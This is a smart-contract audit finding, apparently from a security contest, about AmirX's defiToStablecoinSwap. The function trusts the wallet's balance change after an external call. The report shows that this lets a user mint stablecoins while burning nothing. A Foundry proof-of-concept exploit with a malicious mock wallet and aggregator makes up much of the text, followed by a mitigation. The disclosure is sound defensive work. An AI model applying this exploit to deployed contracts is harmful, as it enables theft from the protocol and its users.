Skip to content

Latest commit

 

History

History
311 lines (244 loc) · 13.9 KB

021.md

File metadata and controls

311 lines (244 loc) · 13.9 KB

Passive Mango Rabbit

High

External Wallet Calls May Return Arbitrary Values, Leading to Potential Vulnerabilities

Summary

The defiToStablecoinSwap(...) function in AmirX allows external calls to a user's wallet to facilitate swaps on the wallet's side. However, the returned balance from these swaps can introduce several potential issues when combined with smart wallet hooks and modules.

Root Cause

The defiToStablecoinSwap in AmirX allows external calls to a user's wallet to facilitate swaps on the wallet's side. However, the returned balance from these swaps can introduce several potential issues.

Details

In the AmirX contract, an external call is made to the user's wallet during swaps to facilitate DeFi token exchanges, such as swapping USDC for eUSDC (a representative example of Telecoin's stablecoin). This process occurs in functions like AmirX::defiToStablecoinSwap(...):

function defiToStablecoinSwap(address wallet, StablecoinSwap memory ss, DefiSwap memory defi)
    external
    payable
    onlyRole(SWAPPER_ROLE)
    whenNotPaused
{
    // Checks if the DeFi swap will fail
    _verifyDefiSwap(wallet, defi);
    
    // Checks if the stablecoin swap will fail
    _verifyStablecoinSwap(wallet, ss);

    // Check initial balance to adjust the second swap
    uint256 iBalance = ERC20(ss.origin).balanceOf(wallet);
    
    // Execute the DeFi swap
    _defiSwap(wallet, defi);
    
    // Check final balance and calculate the origin amount
    uint256 fBalance = ERC20(ss.origin).balanceOf(wallet);
    ss.oAmount = fBalance - iBalance;

    // Adjust balance to reflect the change and proceed with the stablecoin swap
    _stablecoinSwap(wallet, ss);
}

In this code, the origin amount ss.oAmount is calculated by simply measuring the change in the wallet's token balance before and after the DeFi swap. However, this balance change could differ significantly from what was expected, potentially leading to several issues. The balance change could be higher, lower, or even zero. Despite this, the function continues without any validation post-swap. This can happens because of two things:

  1. External hooks and modules:
    Although the external call's calldata is crafted by a trusted party, smart wallets such as Safe allow for the addition of custom hooks and guards or modules to implement custom logic. These hooks can modify wallet balances before and after the swap, causing discrepancies between the expected and actual results.

  2. Trade Surplus: 0x protocol defines the Trade surplus like this here:

Trade surplus, also known as positive slippage, occurs when the user ends up receiving more tokens than their quoted amount.

When this happens, there will automatically be more tokens that what is required in the wallet. And because of this, the user will have to burn more tokens if he has given the allowance for that, or the transaction will revert. And this can also lead to the situation where the amounts burnt leads to decreasing in the total supply which makes it lower than the minimum limit.

Potential Consequences

  1. Exceeding supply limits:
    If the wallet's balance increases unexpectedly, it could reduce the total supply below the minimum required threshold. This could occur since supply checks are performed before the external call.

  2. Partial token transfer during swaps:
    The wallet may execute the swap but transfer some tokens to an external address via hooks or modules, causing ss.oAmount to be lower than expected. This could lead to transaction failures if fees (especially if denominated in the origin token) exceed the available amount.

  3. Minting without burning:
    In cases where ss.oAmount is insufficient to cover even minimal fees, users could potentially mint stablecoins or recieve the target ERC20s without effectively burning any corresponding origin tokens or transferring any ERC20 to the liquidity safe. This creates a significant vulnerability, as demonstrated in the provided Proof of Concept (PoC).

Contextual Note

The intended wallet for use in this contract is expected to be provided by Telecoin. However, the sponsors have indicated that it behaves similarly to other multisig wallets, such as Safe's multisig wallet, which is being used for context and testing.

Internal pre-conditions

  1. The fee does not account for the full 100% of the ss.oAmount.

External pre-conditions

  1. A plugin must be included in the multisig wallet that allows for manipulating the balances.

Attack Path

  1. Call data is generated by an external party to initiate the swap, and the wallet owner signs it.
  2. The call is executed to perform the defiSwap, triggering the multisig process.
  3. The swap is carried out on the smart wallet.
  4. A module is invoked to transfer some or all of the swapped amount to another address.
  5. The ss.oAmount reflects only the remaining change in the origin amount.
  6. The call succeeds, and the user pays less (or nothing) while receiving the full minted output tokens.

Impact

The protocol can suffer Losses in case the amount is less than what is expected etc.

PoC

The PoC shows that the checks are easily exploitable where user pays nothing and get the whole amounts of output tokens:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Stablecoin} from "../../contracts/stablecoin/Stablecoin.sol";
import {StablecoinHandler} from "../../contracts/stablecoin/StablecoinHandler.sol";
import {AmirX} from "../../contracts/swap/AmirX.sol";
import {TestPlugin} from "../../contracts/swap/test/TestPlugin.sol";
import {TestAggregator} from "../../contracts/swap/test/TestAggregator.sol";
import {TestTokenDynamic} from "../../contracts/test/TestTokenDynamic.sol";
import {TestWallet} from "../../contracts/test/TestWallet.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ISimplePlugin} from "../../contracts/swap/interfaces/ISimplePlugin.sol";

contract MyTestWallet {
    Stablecoin public eUSD;
    Stablecoin public eEUR;

    constructor(Stablecoin _eEUR, Stablecoin _eUSD) public {
        eUSD = _eUSD;
        eEUR = _eEUR;
    }

    function performSwap(MyTestAggregator aggregator, address stablecoin, address to, uint256 value) public {
        // approve AmirX for burning the stablecoing
        Stablecoin(stablecoin).approve(msg.sender, value);

        aggregator.swap(stablecoin, to, value);
    }
}

contract MyTestAggregator {
    Stablecoin public eUSD;
    Stablecoin public eEUR;
    ERC20 public telcoin;

    constructor(Stablecoin _eEUR, Stablecoin _eUSD, ERC20 _telcoin) public {
        eUSD = _eUSD;
        eEUR = _eEUR;
        telcoin = _telcoin;
    }

    function swap(address stablecoin, address to, uint256 value) public {
        if (stablecoin == address(eUSD)) {
            // make the amount zero
            eUSD.transfer(to, value - value);
        } else {
            eEUR.transfer(to, value);
        }
    }
}

contract MyTest is Test {
    struct Protocol {
        Stablecoin eUSD;
        Stablecoin eEUR;
        StablecoinHandler stablecoinHandler;
        AmirX amirX;
        TestPlugin testPlugin;
        MyTestAggregator testAggregator;
    }

    struct Tokens {
        TestTokenDynamic usdc;
        TestTokenDynamic dai;
        TestTokenDynamic telcoin;
    }

    struct Users {
        address alice;
        address bob;
        address protocolAdmin;
        // Stablecoin roles
        address blacklistAdmin;
        address support;
        // AmirX roles
        address pauser;
        address swapper;
        address maintainer;
    }

    Protocol public protocol;
    Tokens public tokens;
    Users public users;

    function _changePrank(address user) public {
        vm.stopPrank();
        vm.startPrank(user);
    }

    function setUp() public {
        // deploy users
        users.alice = makeAddr("alice");
        users.bob = makeAddr("bob");
        users.protocolAdmin = makeAddr("protocolAdmin");
        users.blacklistAdmin = makeAddr("blacklistAdmin");
        users.support = makeAddr("support");
        users.pauser = makeAddr("pauser");
        users.swapper = makeAddr("swapper");
        users.maintainer = makeAddr("maintainer");

        // deploy tokens
        _changePrank(users.protocolAdmin);
        tokens.usdc = new TestTokenDynamic("USDC", "USDC", 6, users.protocolAdmin, 100000e6);
        tokens.dai = new TestTokenDynamic("DAI", "DAI", 18, users.protocolAdmin, 100000e18);
        TestTokenDynamic telcoin = new TestTokenDynamic("Telcoin", "TEL", 18, users.protocolAdmin, 100000e18);
        vm.etch(0xdF7837DE1F2Fa4631D716CF2502f8b230F1dcc32, address(telcoin).code);
        tokens.telcoin = TestTokenDynamic(payable(0xdF7837DE1F2Fa4631D716CF2502f8b230F1dcc32));

        // deploy protocol contracts
        protocol.amirX = new AmirX();
        protocol.eUSD = new Stablecoin();
        protocol.eEUR = new Stablecoin();
        protocol.testAggregator = new MyTestAggregator(protocol.eEUR, protocol.eUSD, ERC20(address(tokens.telcoin)));
        protocol.testPlugin = new TestPlugin(ERC20(address(tokens.telcoin)));

        // initialize the protocol contracts
        protocol.amirX.initialize();
        protocol.eUSD.initialize("USD Stable Coin", "USD", 18);
        protocol.eEUR.initialize("EUR Stable Coin", "EUR", 18);

        // grant roles for eUSD
        assert(protocol.eUSD.hasRole(protocol.eUSD.DEFAULT_ADMIN_ROLE(), users.protocolAdmin));
        protocol.eUSD.grantRole(protocol.eUSD.BURNER_ROLE(), address(protocol.amirX));
        protocol.eUSD.grantRole(protocol.eUSD.MINTER_ROLE(), address(protocol.amirX));
        protocol.eUSD.grantRole(protocol.eUSD.MINTER_ROLE(), address(users.protocolAdmin));
        protocol.eUSD.grantRole(protocol.eUSD.BLACKLISTER_ROLE(), users.blacklistAdmin);
        protocol.eUSD.grantRole(protocol.eUSD.SUPPORT_ROLE(), users.support);
        // grant roles for eEUR
        assert(protocol.eEUR.hasRole(protocol.eEUR.DEFAULT_ADMIN_ROLE(), users.protocolAdmin));
        protocol.eEUR.grantRole(protocol.eEUR.BURNER_ROLE(), address(protocol.amirX));
        protocol.eEUR.grantRole(protocol.eEUR.MINTER_ROLE(), address(protocol.amirX));
        protocol.eEUR.grantRole(protocol.eEUR.MINTER_ROLE(), address(users.protocolAdmin));
        protocol.eEUR.grantRole(protocol.eEUR.BLACKLISTER_ROLE(), users.blacklistAdmin);
        protocol.eEUR.grantRole(protocol.eEUR.SUPPORT_ROLE(), users.support);
        protocol.amirX.grantRole(protocol.amirX.PAUSER_ROLE(), users.pauser);
        protocol.amirX.grantRole(protocol.amirX.SWAPPER_ROLE(), users.swapper);
        protocol.amirX.grantRole(protocol.amirX.MAINTAINER_ROLE(), users.maintainer);
        protocol.amirX.grantRole(protocol.amirX.SUPPORT_ROLE(), users.support);

        // update teh eXYZ in amirX
        // min and max limits to be set to highest and the lowest possible values
        _changePrank(users.maintainer);
        protocol.amirX.UpdateXYZ(address(protocol.eEUR), true, type(uint256).max, 0);
        protocol.amirX.UpdateXYZ(address(protocol.eUSD), true, type(uint256).max, 0);

        // label the contracts
        vm.label(address(protocol.amirX), "AmirX");
        vm.label(address(protocol.eUSD), "eUSD");
        vm.label(address(protocol.eEUR), "eEUR");
        vm.label(address(protocol.testAggregator), "TestAggregator");
        vm.label(address(protocol.testPlugin), "TestPlugin");
        vm.label(address(tokens.usdc), "USDC");
        vm.label(address(tokens.dai), "DAI");
        vm.label(address(tokens.telcoin), "Telcoin");
    }

    function test_WalletsCanReturnArbitraryAmounts() public {
        // create new wallet
        MyTestWallet wallet = new MyTestWallet(protocol.eEUR, protocol.eUSD);

        // prepare the defi trade
        AmirX.DefiSwap memory defi = AmirX.DefiSwap({
            defiSafe: users.protocolAdmin,
            aggregator: address(protocol.testAggregator),
            plugin: ISimplePlugin(address(0)),
            feeToken: ERC20(address(0)),
            referrer: address(0),
            referralFee: 0,
            walletData: abi.encodeCall(
                MyTestWallet.performSwap, (protocol.testAggregator, address(protocol.eUSD), address(wallet), 10)
            ),
            swapData: ""
        });

        // prepare the stablecoin swap
        StablecoinHandler.StablecoinSwap memory ss = StablecoinHandler.StablecoinSwap({
            liquiditySafe: users.protocolAdmin,
            destination: users.alice,
            origin: address(protocol.eUSD),
            oAmount: 10,
            target: address(protocol.eEUR),
            tAmount: 20,
            stablecoinFeeCurrency: address(0),
            stablecoinFeeSafe: address(0),
            feeAmount: 0
        });

        // mint some eUSD to alice's wallet
        _changePrank(users.protocolAdmin);
        protocol.eUSD.mintTo(address(protocol.testAggregator), 10e18);

        // mint some USDC to alice's wallet
        tokens.usdc.mintTo(address(wallet), 10);

        // do the swap
        _changePrank(users.swapper);
        protocol.amirX.defiToStablecoinSwap(address(wallet), ss, defi);
    }
}

Mitigation

There are several ways to mitigate this issue. One approach is to perform the verification checks after the external call. Alternatively, checks can be implemented both before and after the swap to ensure consistency and prevent manipulation.